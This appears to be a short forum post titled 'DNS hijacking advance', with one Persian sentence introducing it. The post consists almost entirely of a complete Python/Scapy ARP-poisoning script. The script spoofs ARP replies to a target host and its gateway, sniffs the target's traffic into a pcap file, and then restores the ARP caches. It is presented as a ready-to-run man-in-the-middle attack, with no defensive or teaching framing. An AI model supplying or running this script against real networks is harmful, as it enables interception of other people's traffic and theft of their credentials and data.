DNS hijacking advance 08/05/2023 2:09

[E1.Coders]

ین کد یک ARP poisoning را با استفاده از کتابخانه Scapy پیادهسازی میکند.

#!/usr/bin/env python
# Code By E1.Coders
from scapy.all import *
import os
import sys
import threading
import signal
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    print("[*] Restoring target...")
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)
    os.kill(os.getpid(), signal.SIGINT)
def get_mac(ip_address):
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
    for s,r in responses:
        return r[Ether].src
    return None
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst= target_mac
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst= gateway_mac
    print("[*] Beginning the ARP poison. [CTRL-C to stop]")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    print("[*] ARP poison attack finished.")
    return
if __name__ == '__main__':
    interface = "eth0"
    target_ip = "192.168.1.100"
    gateway_ip = "192.168.1.1"
    packet_count = 1000
    conf.iface = interface
    conf.verb = 0
    print("[*] Setting up %s" % interface)
    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print("[!!!] Failed to get gateway MAC. Exiting.")
        sys.exit(0)
    else:
        print("[*] Gateway %s is at %s" % (gateway_ip,gateway_mac))
    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[!!!] Failed to get target MAC. Exiting.")
        sys.exit(0)
    else:
        print("[*] Target %s is at %s" % (target_ip,target_mac))
    poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
    poison_thread.start()
    try:
        print("[*] Starting sniffer for %d packets" % packet_count)
        bpf_filter = "ip host %s" % target_ip
        packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
        wrpcap('arper.pcap',packets)
        restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    except KeyboardInterrupt:
        restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
        sys.exit(0)​